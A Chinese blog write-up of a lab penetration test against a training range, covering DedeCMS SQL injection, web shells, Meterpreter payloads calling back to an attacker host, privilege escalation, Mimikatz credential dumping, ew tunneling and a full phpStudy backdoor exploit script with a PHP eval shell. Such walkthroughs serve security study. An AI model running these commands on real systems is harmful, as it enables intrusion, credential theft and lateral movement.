暗月项目四-完整的渗透测试实例

渗透过程概述:

1、信息收集-->getshell-->上线msf:

旁站(new.cc123)入侵,扫目录,获取cms版本号,发现该版本有(cookie)sql注入漏洞,利用exp获得密码hash,解密,登陆后台,上传小马,菜刀蚁剑连接,发现终端低权限。

上传大马+wt.asp,扫描可执行目录,上传shell.exe到此目录并执行,上线msf。

2、提权:

local_exploit_suggester本地exp提权失败,ms16_075_reflection_juicy提权到system,

进程迁移x64,load kiwi,creds_all 获取账号密码。

3、内网渗透数据库服务器):

添加路由,ew代理nmap扫描,发现是数据库服务器,端口打不开网页,尝试 旁站入侵ww2.cc123【失败:扫目录,sql注入登陆后台(admin'-- 万能账户),产品模块sql注入获取os_shell,发现数据库是system权限(后台上传白名单保护,getshell失败)】。

通过msf的system session 读取web.config 配置文件,获取数据库连接字符串,大马中使用该字符串连接到数据库主机,然后查表,并使用sql上传文件功能sa_upfile,上传bind.exe,再使用xp_cmdshell运行exe,msf正向连接到数据库主机,获取system权限,无需提权,kiwi获取账号密码。

4、横向移动(内网web服务器):

添加路由,渗透第三层内网,ew代理,利用phpstudy后门事件(system权限),写shell到www目录,蚁剑代理连接,上传bind.exe,msf正向连接,因为phpstudy后门,直接获取system系统权限,kiwi获取账号密码。


1、信息收集

1.1 masscan+nmap端口扫描

masscan -p 1-65535 192.168.0.134 --rate=1000

nmap -sC -A 192.168.0.134 -p 80,53,6588,3389,135,21,999

1.2 端口站点

http://192.168.0.134:6588/ -----护卫神主机大师 前台面板

http://192.168.0.134:999/ ------phpmyadmin

http://192.168.0.134:134/ ------iis7

1.3 wfuzz 穷举子域名

没有layer子域名挖掘机 好使

wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "host:FUZZ.cc123.com" --hw 53,13,26

1.4 etc/hosts 绑定子域名

www.cc123.com

ww2.cc123.com

new.cc123.com

gedit /etc/resolv.conf

2、漏洞挖掘

2.1 从旁站 new.cc123.com 突破 ,因为是织梦dede cms,7kbscan 扫描网站目录

2.2 查看dede cms 版本号为20150618,存在sql注入漏洞

http://new.cc123.com/data/admin/ver.txt

3、漏洞利用getshell,web1上线MSF

3.1 使用Dedecms_20150618_member_sqli.py漏洞exp,获取密码hash

http://new.cc123.com/member 注册用户并登陆

http://new.cc123.com/member/mtypes.php 添加一个分类,保证分类不空,否则exp执行无回显

复制cookie到Dedecms_20150618_member_sqli.py所在文件夹下的cookies.txt

python2 Dedecms_20150618_member_sqli.py http://new.cc123.com

执行得到 密码hash。该exp为python2版本

somd5.com 破解: admin7788

3 .2 登陆后台 getshell

登陆后台 http://new.cc123.com/dede   admin  admin7788

上传shell.php,蚁剑连接

3.3 上传大马AspxSpy2014Final.aspx+wt.asp,上线msf

3.3.1 msf生成后门上传,低权限无法执行

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=12345 -f exe >s.exe

不要使用windows/x64/meterpreter ,兼容性差,易崩溃

虚拟终端 无执行权限

3.3.2 上传大马 AspxSpy2014Final.aspx,上传wt.asp ,扫描可执行目录

3.2.3 上传 s.exe 到此目录,并执行,上线msf

4、提权

4.1 使用 local_exploit_suggester 模块,扫描本地可利用漏洞 (失败

4.2 使用ms16_075_reflection_juicy 模块提权

4.3 hash dump获取明文密码

meterpreter 迁移 到64位进程,方便 dump hash,否则报错

meterpreter > ps

meterpreter > migrate 384

meterpreter > load kiwi

meterpreter > creds_all

5、内网渗透【数据库服务器

5.1 主机发现

5.1.1 添加路由

5.1.2 udp_sweep扫描存活主机,发现10.10.10.136

5.2 设置代理,穿透内网

5.2.1 kali设置ew代理

nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &

gedit /etc/proxychains.conf

socks5 127.0.0.1 1080 ---- proxychains.conf 里只设置这一条

5.2.2 web1设置ew代理

meterpreter上传ew到135 web主机 并执行

start /min ew_for_win.exe -s rssocks -d 192.168.0.102 -e 1234

5.3 信息收集

5.3.1 端口扫描(masscan+nmap扫描10.136)

proxychains4 masscan -p 1-65535 --rate=1000 10.10.10.136

proxychains4 nmap -Pn -sT -sV 10.10.10.136

访问80端口 ,网页打不开。1433端口可以确定是sql server数据库服务器

5.4 利用sqlmap测试后台注入漏洞成功,但暴破数据库失败,getshell失败

5.4.1 目录扫描,找到后台

分析ww2.cc123.com,7kbscan 扫描目录

5.4.2 '--- 万能密码登陆后台

http://ww2.cc123.com/admin/Login.aspx

admin'--- + 任意密码 可登陆后台,存在sql注入

5.4.3 验证码可绕过(复用)

5.4.4 sqlmap 测试注入漏洞

保存请求头内容到 ww2_cc123_sql.txt,并替换sessionid

python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch --current-db

python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch -D grcms_data -T admin 显示不出来数据

python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch --os-shell

数据库是系统权限,执行exe也能获取system权限

ww2_cc123_sqltest.txt ------sqlmap暴破语句 如下:)

E:\web\bachang\moon\4>python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch --dbs
E:\web\bachang\moon\4>python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch --current-db
E:\web\bachang\moon\4>python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch --current-user
E:\web\bachang\moon\4>python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch -D grcms_data --tables
E:\web\bachang\moon\4>python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch -D grcms_data -T admin --dump
E:\web\bachang\moon\4>python2 E:\web\demo\tools\sqlmap\sqlmap.py -r ww2_cc123_sql.txt --dbms=mssql --batch --os-shell

5.4.5 sqlmap 显示不出数据,ww2.cc123.com 后台白名单上传不了图片马、getshell失败

5.5 旁站入侵,data server上线msf

http://new.cc123.com/a/AspxSpy2014Final.aspx 大马 AspxSpy2014Final.aspx,突破 http://ww2.cc123.com/admin/index.aspx 后台限制

5.5.1 查找web.config 数据库配置文件 ,获取数据库连接字符串

meterpreter> dir 或者cd 到web目录

cat web.config 或 type web.config ,拿到如下字符串:

server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..

5.5.2 利用数据库连接字符串,在大马里连上数据库,查看数据

密码解密失败,加盐了

5.5.3 mssql上传bind.exe到靶机,kali正向连接靶机,上线msf

5.5.3.1 msfvenom生成正向连接exe。指定上传路径到数据库主机。执行bind.exe,绑定本机端口1234,等待kali 连接

msfvenom -p windows/meterpreter/bind_tcp lport=1234 -f exe > bind.exe

5.5.3.2 msf设置bind_tcp正向连接到数据库主机,直接获取system权限

5.5.3.3 kiwi获取明文密码

meterpreter > ps

meterpreter > migrate 。。。

meterpreter > load kiwi

meterpreter > creds_all

6、横向移动【内网web服务器】

6.1 主机发现

添加路由,udp_sweep扫描存活主机1.129

meterpreter > run post/multi/manage/autoroute

meterpreter > background

route print

6.2 ew设置代理

6.2.1 kali设置ew代理

nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 &

gedit /etc/proxychains.conf

socks5 127.0.0.1 1090

6.2.2 data server设置ew代理

把ew上传到data server主机 ,启动正向代理 999端口

start /min ew_for_win.exe -s ssocksd -l 999

6.2.3 把web1主机做中间桥梁,采用lcx_slave方式,把kali的1235端口和第二层网络10.136主机的999端口连接起来

start /min ew_for_win.exe -s lcx_slave -d 192.168.0.102 -e 1235 -f 10.10.10.136 -g 999

6.3 nmap扫描端口

proxychains4 nmap -Pn -sT -sV 10.10.1.129

6.4 phpStudy 2016.11.02 后门事件getshell

gzip,deflate 的逗号中间无空格,否则命令执行不成功

Accept-Charset 的值 就是 base64编码后的命令

测试 system("net user");

python3 phpstudy_exploit.py "echo ^<?php @eval($_POST[\"shell\"]);?^> >C:/phpStudy/WWW/shell.php"

phpstudy后门事件exp
 # coding=utf-8

import base64
import sys
import requests

shell="system('"+(sys.argv[1])+"');"
shellx=base64.b64encode(shell.encode("utf-8"))
header={'Accept-Encoding': 'gzip,deflate','Accept-Charset':shellx}

def exploit(url):
    result=requests.get(url,headers=header).text
    return result

print (exploit("http://10.10.1.129:80"))

6.5 蚁剑 设置kali 代理,连接到1.129主机

注意是ew隧道代理的1090端口

6.6 内网web2上线msf

上传bind.exe 并执行,msf 正向连接 到1.129主机

6.7 hash dump 获取明文密码

meterpreter > ps

meterpreter > migrate 848

meterpreter > load kiwi

meterpreter > creds_all

7、权限维持

8、痕迹清理

9、总结

(session 2,3 需要migrate 到x64进程)

posted @ 2023-03-23 13:42  hello_bao  阅读(2634)  评论(0)    收藏  举报